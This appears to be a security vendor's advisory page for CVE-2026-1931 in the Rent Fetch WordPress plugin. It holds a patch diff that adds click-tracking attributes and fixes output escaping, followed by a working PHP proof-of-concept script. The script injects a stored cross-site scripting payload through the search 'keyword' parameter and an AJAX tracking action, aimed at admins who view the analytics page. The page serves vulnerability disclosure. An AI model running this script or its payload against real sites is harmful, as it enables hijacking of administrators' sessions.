+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_scheduletour_click', rentfetch_get_floorplan_tracking_context() );
+	$button = sprintf( '<a href="%s" target="%s" class="rentfetch-button rentfetch-floorplan-tour-button"%s>%s</a>', $fallback_link, $target, $tracking_attrs, $label );

 	echo wp_kses_post( apply_filters( 'rentfetch_floorplan_default_tour_button', $button ) );
 }
@@ -1183,4 +1187,4 @@

 	// if the embed is not empty, return the embed.
 	return $embed;
-}
 No newline at end of file
+}
--- a/rentfetch/lib/common/functions-properties.php
+++ b/rentfetch/lib/common/functions-properties.php
@@ -355,8 +355,9 @@
 	if ( ! empty( $class ) ) {
 		$classes .= ' ' . esc_attr( $class );
 	}
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_directions_click', rentfetch_get_property_tracking_context( $property_id ) );
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 location-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M15 10.5a3 3 0 1 1-6 0 3 3 0 0 1 6 0Z" /><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 10.5c0 7.142-7.5 11.25-7.5 11.25S4.5 17.642 4.5 10.5a7.5 7.5 0 1 1 15 0Z" /></svg>';
-	$location_button = sprintf( '<a class="%s" href="%s" target="_blank">%sGet Directions</a>', $classes, esc_url( $location_link ), $svg );
+	$location_button = sprintf( '<a class="%s" href="%s" target="_blank"%s>%sGet Directions</a>', $classes, esc_url( $location_link ), $tracking_attrs, $svg );
 	return apply_filters( 'rentfetch_filter_property_location_button', $location_button, $property_id, $class );
 }

@@ -547,8 +548,9 @@
 	if ( ! empty( $class ) ) {
 		$classes .= ' ' . esc_attr( $class );
 	}
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_phonecall_click', rentfetch_get_property_tracking_context( $property_id ) );
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 phone-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M10.5 1.5H8.25A2.25 2.25 0 0 0 6 3.75v16.5a2.25 2.25 0 0 0 2.25 2.25h7.5A2.25 2.25 0 0 0 18 20.25V3.75a2.25 2.25 0 0 0-2.25-2.25H13.5m-3 0V3h3V1.5m-3 0h3m-3 18.75h3" /></svg>';
-	$phone_button = sprintf( '<a class="%s" href="tel:%s">%s%s</a>', $classes, esc_html( $phone_link ), $svg, esc_html( $phone ) );
+	$phone_button = sprintf( '<a class="%s" href="tel:%s"%s>%s%s</a>', $classes, esc_html( $phone_link ), $tracking_attrs, $svg, esc_html( $phone ) );

 	if ( $phone ) {
 		return apply_filters( 'rentfetch_filter_property_phone_button', $phone_button, $property_id, $class );
@@ -672,8 +674,9 @@
 	if ( ! empty( $class ) ) {
 		$classes .= ' ' . esc_attr( $class );
 	}
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_visitpropertywebsite_click', rentfetch_get_property_tracking_context( $property_id ) );
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 website-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M13.5 6H5.25A2.25 2.25 0 0 0 3 8.25v10.5A2.25 2.25 0 0 0 5.25 21h10.5A2.25 2.25 0 0 0 18 18.75V10.5m-10.5 6L21 3m0 0h-5.25M21 3v5.25" /></svg>';
-	$website_button = sprintf( '<a class="%s" href="%s" target="%s">%sVisit Website</a>', $classes, esc_html( $url ), esc_attr( $target ), $svg );
+	$website_button = sprintf( '<a class="%s" href="%s" target="%s"%s>%sVisit Website</a>', $classes, esc_html( $url ), esc_attr( $target ), $tracking_attrs, $svg );

 	if ( $url ) {
 		return apply_filters( 'rentfetch_filter_property_website', $website_button, $property_id, $class );
@@ -733,8 +736,9 @@
 	if ( ! empty( $class ) ) {
 		$classes .= ' ' . esc_attr( $class );
 	}
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_emailus_click', rentfetch_get_property_tracking_context( $property_id ) );
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 email-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M21.75 6.75v10.5a2.25 2.25 0 0 1-2.25 2.25h-15a2.25 2.25 0 0 1-2.25-2.25V6.75m19.5 0A2.25 2.25 0 0 0 19.5 4.5h-15a2.25 2.25 0 0 0-2.25 2.25m19.5 0v.243a2.25 2.25 0 0 1-1.07 1.916l-7.5 4.615a2.25 2.25 0 0 1-2.36 0L3.32 8.91a2.25 2.25 0 0 1-1.07-1.916V6.75" /></svg>';
-	$contact_button = sprintf( '<a class="%s" href="%s">%sEmail Us</a>', $classes, esc_html( $email_link ), $svg );
+	$contact_button = sprintf( '<a class="%s" href="%s"%s>%sEmail Us</a>', $classes, esc_html( $email_link ), $tracking_attrs, $svg );
 	$email_button   = apply_filters( 'rentfetch_filter_property_contact_button', $contact_button, $property_id, $class );

 	if ( $email ) {
@@ -892,7 +896,8 @@
 		if ( ! empty( $class ) ) {
 			$classes .= ' ' . esc_attr( $class );
 		}
-		$embedlink  = sprintf( '<a class="%s" data-gallery="post-%s" data-glightbox="type: video;" href="%s">%s%s</a>', $classes, $post_id, $oembedlink, $svg, $tour_link_text );
+		$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_tour_click', rentfetch_get_property_tracking_context( $property_id, $post_id ) );
+		$embedlink  = sprintf( '<a class="%s" data-gallery="post-%s" data-glightbox="type: video;" href="%s"%s>%s%s</a>', $classes, $post_id, $oembedlink, $tracking_attrs, $svg, $tour_link_text );
 	}

 	$matterport_pattern = '/src="([^"]*matterport[^"]*)"/i'; // Added "matterport" to the pattern.
@@ -910,7 +915,8 @@
 		if ( ! empty( $class ) ) {
 			$classes .= ' ' . esc_attr( $class );
 		}
-		$embedlink  = sprintf( '<a class="%s" data-gallery="post-%s" href="%s">%s%s</a>', $classes, $post_id, $oembedlink, $svg, $tour_link_text );
+		$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_tour_click', rentfetch_get_property_tracking_context( $property_id, $post_id ) );
+		$embedlink  = sprintf( '<a class="%s" data-gallery="post-%s" href="%s"%s>%s%s</a>', $classes, $post_id, $oembedlink, $tracking_attrs, $svg, $tour_link_text );
 	}

 	// if it's anything else (like just an oembed, including an oembed for either matterport or youtube).
@@ -920,7 +926,8 @@
 		if ( ! empty( $class ) ) {
 			$classes .= ' ' . esc_attr( $class );
 		}
-		$embedlink  = sprintf( '<a class="%s" target="_blank" data-gallery="post-%s" href="%s">%s%s</a>', $classes, $post_id, $oembedlink, $svg, $tour_link_text );
+		$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_tour_click', rentfetch_get_property_tracking_context( $property_id, $post_id ) );
+		$embedlink  = sprintf( '<a class="%s" target="_blank" data-gallery="post-%s" href="%s"%s>%s%s</a>', $classes, $post_id, $oembedlink, $tracking_attrs, $svg, $tour_link_text );
 	}

 	return apply_filters( 'rentfetch_filter_property_tour_button', $embedlink, $property_id, $class );
@@ -988,8 +995,9 @@
 	if ( ! empty( $class ) ) {
 		$classes .= ' ' . esc_attr( $class );
 	}
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_scheduletour_click', rentfetch_get_property_tracking_context( $property_id ) );
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 tour-booking-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M6.75 3v2.25M17.25 3v2.25M3 18.75V7.5a2.25 2.25 0 0 1 2.25-2.25h13.5A2.25 2.25 0 0 1 21 7.5v11.25m-18 0A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75m-18 0v-7.5A2.25 2.25 0 0 1 5.25 9h13.5A2.25 2.25 0 0 1 21 11.25v7.5m-9-6h.008v.008H12v-.008ZM12 15h.008v.008H12V15Zm0 2.25h.008v.008H12v-.008ZM9.75 15h.008v.008H9.75V15Zm0 2.25h.008v.008H9.75v-.008ZM7.5 15h.008v.008H7.5V15Zm0 2.25h.008v.008H7.5v-.008Zm6.75-4.5h.008v.008h-.008v-.008Zm0 2.25h.008v.008h-.008V15Zm0 2.25h.008v.008h-.008v-.008Zm2.25-4.5h.008v.008H16.5v-.008Zm0 2.25h.008v.008H16.5V15Z" /></svg>';
-	$tour_booking_button = sprintf( '<a class="%s" href="%s" target="%s">%sBook Tour</a>', $classes, esc_html( $url ), esc_attr( $target ), $svg );
+	$tour_booking_button = sprintf( '<a class="%s" href="%s" target="%s"%s>%sBook Tour</a>', $classes, esc_html( $url ), esc_attr( $target ), $tracking_attrs, $svg );

 	if ( $url ) {
 		return apply_filters( 'rentfetch_filter_property_tour_booking', $tour_booking_button, $property_id, $class );
@@ -1046,6 +1054,7 @@
 		$classes .= ' ' . esc_attr( $class );
 	}
 	$svg = '<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6 office-hours-icon"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 1 1-18 0 9 9 0 0 1 18 0Z" /></svg>';
+	$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_officehours_click', rentfetch_get_property_tracking_context( $property_id ) );

 	// Get office hours markup without heading and wrapper
 	$days = array( 'monday', 'tuesday', 'wednesday', 'thursday', 'friday', 'saturday', 'sunday' );
@@ -1065,10 +1074,11 @@

 	$office_hours_button = sprintf(
 		'<details class="office-hours-details">
-			<summary class="%s">%sOffice Hours</summary>
+			<summary class="%s"%s>%sOffice Hours</summary>
 			<div class="office-hours-content">%s</div>
 		</details>',
 		$classes,
+		$tracking_attrs,
 		$svg,
 		$office_hours_content
 	);
@@ -1104,6 +1114,10 @@
 			),
 			'summary' => array(
 				'class' => true,
+				'data-rentfetch-event' => true,
+				'data-rentfetch-property-id' => true,
+				'data-rentfetch-property-name' => true,
+				'data-rentfetch-property-city' => true,
 			),
 			'div' => array(
 				'class' => true,
@@ -2085,4 +2099,4 @@
 	if ( $office_hours ) {
 		echo wp_kses_post( $office_hours );
 	}
-}
 No newline at end of file
+}
--- a/rentfetch/lib/common/functions-units.php
+++ b/rentfetch/lib/common/functions-units.php
@@ -240,7 +240,8 @@
 	$apply_online_url = get_post_meta( get_the_ID(), 'apply_online_url', true );

 	if ( $apply_online_url ) {
-		$markup = sprintf( '<a href="%s" class="rentfetch-button rentfetch-button-small" target="_blank">Apply Online</a>', $apply_online_url );
+		$tracking_attrs = rentfetch_get_tracking_data_attributes( 'rentfetch_applyonline_click', rentfetch_get_floorplan_tracking_context() );
+		$markup = sprintf( '<a href="%s" class="rentfetch-button rentfetch-button-small" target="_blank"%s>Apply Online</a>', $apply_online_url, $tracking_attrs );
 		echo wp_kses_post( apply_filters( 'rentfetch_filter_unit_apply_button_markup', $markup ) );
 	} else {
 		rentfetch_unit_default_contact_button();
--- a/rentfetch/lib/common/get-meta-values.php
+++ b/rentfetch/lib/common/get-meta-values.php
@@ -50,6 +50,14 @@
 		)
 	);

+	// Sanitize meta values before caching.
+	$r = array_map(
+		function( $value ) {
+			return sanitize_text_field( wp_unslash( $value ) );
+		},
+		(array) $r
+	);
+
 	// Cache the result briefly to avoid repeated expensive queries.
 	if ( get_option( 'rentfetch_options_disable_query_caching' ) !== '1' ) {
 		set_transient( $cache_key, $r, 5 * MINUTE_IN_SECONDS );
--- a/rentfetch/lib/initialization/enqueue.php
+++ b/rentfetch/lib/initialization/enqueue.php
@@ -86,6 +86,9 @@

 	// Property fees tooltip.
 	wp_register_script( 'rentfetch-property-fees-tooltip', RENTFETCH_PATH . 'js/rentfetch-property-fees-tooltip.js', array( 'jquery' ), RENTFETCH_VERSION, true );
+
+	// Analytics events.
+	wp_register_script( 'rentfetch-analytics-events', RENTFETCH_PATH . 'js/rentfetch-analytics-events.js', array(), RENTFETCH_VERSION, true );
 }
 add_action( 'wp_enqueue_scripts', 'rentfetch_enqueue_scripts_stylesheets' );

--- a/rentfetch/lib/shortcode/search-filters/floorplan-filters/baths.php
+++ b/rentfetch/lib/shortcode/search-filters/floorplan-filters/baths.php
@@ -50,8 +50,8 @@
 					%s />
 				<span>%s</span>
 			</label>',
-			wp_kses_post( $bath ),
-			wp_kses_post( $bath ),
+			esc_attr( $bath ),
+			esc_attr( $bath ),
 			$checked ? 'checked' : '', // Apply checked attribute.
 			wp_kses_post( $label )
 		);
--- a/rentfetch/lib/shortcode/search-filters/property-filters/pets.php
+++ b/rentfetch/lib/shortcode/search-filters/property-filters/pets.php
@@ -51,7 +51,7 @@
 			printf( '<button type="button" class="toggle">%s</button>', esc_html( $label ) );
 			echo '<div class="input-wrap checkboxes">';
 		foreach ( $pets as $pet ) {
-			printf( '<label><input type="radio" data-pets="%s" data-pets-name="%s" name="pets" value="%s" /><span>%s</span></label>', esc_html( $pet ), esc_html( $pets_choices[ $pet ] ), esc_html( $pet ), esc_html( $pets_choices[ $pet ] ) );
+			printf( '<label><input type="radio" data-pets="%s" data-pets-name="%s" name="pets" value="%s" /><span>%s</span></label>', esc_attr( $pet ), esc_attr( $pets_choices[ $pet ] ), esc_attr( $pet ), esc_html( $pets_choices[ $pet ] ) );
 		}
 			echo '</div>'; // .checkboxes.
 		echo '</fieldset>';
--- a/rentfetch/rentfetch.php
+++ b/rentfetch/rentfetch.php
@@ -9,7 +9,7 @@
  * Plugin Name:    Rent Fetch
  * Plugin URI:     http://wordpress.org/plugins/rentfetch/
  * Description:    Displays searchable rental properties, floorplans, and unit availability.
- * Version:        0.32.6
+ * Version:        0.32.7
  * Author:         Brindle Digital
  * Author URI:     https://www.brindledigital.com
  * Text Domain:    rentfetch
@@ -23,7 +23,7 @@
 }

 // Define the version of the plugin.
-define( 'RENTFETCH_VERSION', '0.32.6' );
+define( 'RENTFETCH_VERSION', '0.32.7' );

 // Set up plugin directories.
 define( 'RENTFETCH_DIR', plugin_dir_path( __FILE__ ) );
--- a/rentfetch/template/single-floorplans.php
+++ b/rentfetch/template/single-floorplans.php
@@ -30,8 +30,10 @@
 		$pricing         = rentfetch_get_floorplan_pricing();
 		$units_count     = rentfetch_get_floorplan_units_count_from_cpt();
 		$description     = rentfetch_get_floorplan_description();
+		$tracking_context = rentfetch_get_floorplan_tracking_context( get_the_ID() );
+		$tracking_context_attrs = rentfetch_get_tracking_context_attributes( $tracking_context );

-		echo '<div class="single-floorplans-container-outer container-current-floorplan-info">';
+		printf( '<div class="single-floorplans-container-outer container-current-floorplan-info"%s>', $tracking_context_attrs );
 			echo '<div class="single-floorplans-container-inner">';
 				echo '<div class="current-floorplan-info">';

--- a/rentfetch/template/single-properties.php
+++ b/rentfetch/template/single-properties.php
@@ -12,7 +12,9 @@
 get_header();

 // * Markup.
-echo '<div class="single-properties-wrap">';
+$tracking_context = rentfetch_get_property_tracking_context( null, get_queried_object_id() );
+$tracking_context_attrs = rentfetch_get_tracking_context_attributes( $tracking_context );
+printf( '<div class="single-properties-wrap"%s>', $tracking_context_attrs );

 	do_action( 'rentfetch_do_single_properties_parts' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1931 - Rent Fetch <= 0.32.4 - Unauthenticated Stored Cross-Site Scripting via 'keyword' Parameter

<?php
/**
 * Proof of Concept for CVE-2026-1931
 * Targets Rent Fetch plugin search functionality to inject stored XSS payloads
 * via the 'keyword' parameter in property/floorplan searches.
 */

// Configuration
$target_url = 'https://vulnerable-site.com'; // Change this to target site
$payload = '<script>alert(document.cookie)</script>'; // XSS payload

// Search endpoints used by Rent Fetch plugin
$search_endpoints = [
    '/properties/',          // Property search page
    '/floorplans/',          // Floorplan search page
    '/?s=',                  // WordPress search (if plugin hooks into it)
];

// Headers to mimic legitimate browser request
$headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language: en-US,en;q=0.5',
    'Accept-Encoding: gzip, deflate',
    'Connection: close',
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

foreach ($search_endpoints as $endpoint) {
    // Construct URL with malicious keyword parameter
    $url = $target_url . $endpoint . '?keyword=' . urlencode($payload);
    
    // Add additional parameters to make request look legitimate
    $url .= '&availability=1&beds=1&baths=1&min_price=1000&max_price=2000';
    
    echo "[+] Testing endpoint: $endpointn";
    echo "[+] Sending payload to: $urln";
    
    curl_setopt($ch, CURLOPT_URL, $url);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200) {
        echo "[+] Successfully sent payload (HTTP 200)n";
        
        // Check if Rent Fetch plugin is active by looking for plugin-specific markup
        if (strpos($response, 'rentfetch') !== false || strpos($response, 'Rent Fetch') !== false) {
            echo "[+] Rent Fetch plugin appears to be activen";
        }
        
        // The payload is now stored in the plugin's search analytics
        // It will execute when an admin visits: /wp-admin/admin.php?page=rentfetch-options&tab=general&section=performance
        echo "[!] XSS payload injected. Wait for admin to view analytics page.nn";
    } else {
        echo "[-] Request failed with HTTP code: $http_codenn";
    }
    
    // Small delay between requests
    sleep(1);
}

// Alternative: Direct AJAX request to track search (if endpoints not working)
echo "[+] Attempting direct search tracking via AJAX simulation...n";
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
    'action' => 'rentfetch_track_search',
    'search_type' => 'properties',
    'params[keyword]' => $payload,
    'params[availability]' => '1',
    'params[beds]' => '1',
    'nonce' => 'bypassed' // Nonce may not be required for this function
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code == 200) {
    echo "[+] AJAX search tracking successfuln";
    if (strpos($response, 'success') !== false) {
        echo "[+] Payload stored via AJAX handlern";
    }
} else {
    echo "[-] AJAX request failed: $http_coden";
}

curl_close($ch);
echo "n[+] Proof of Concept completed.n";
echo "[!] To verify: Log in as admin and visit: {$target_url}/wp-admin/admin.php?page=rentfetch-options&tab=general&section=performancen";
echo "[!] The 'Popular Searches' table should execute the JavaScript payload.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School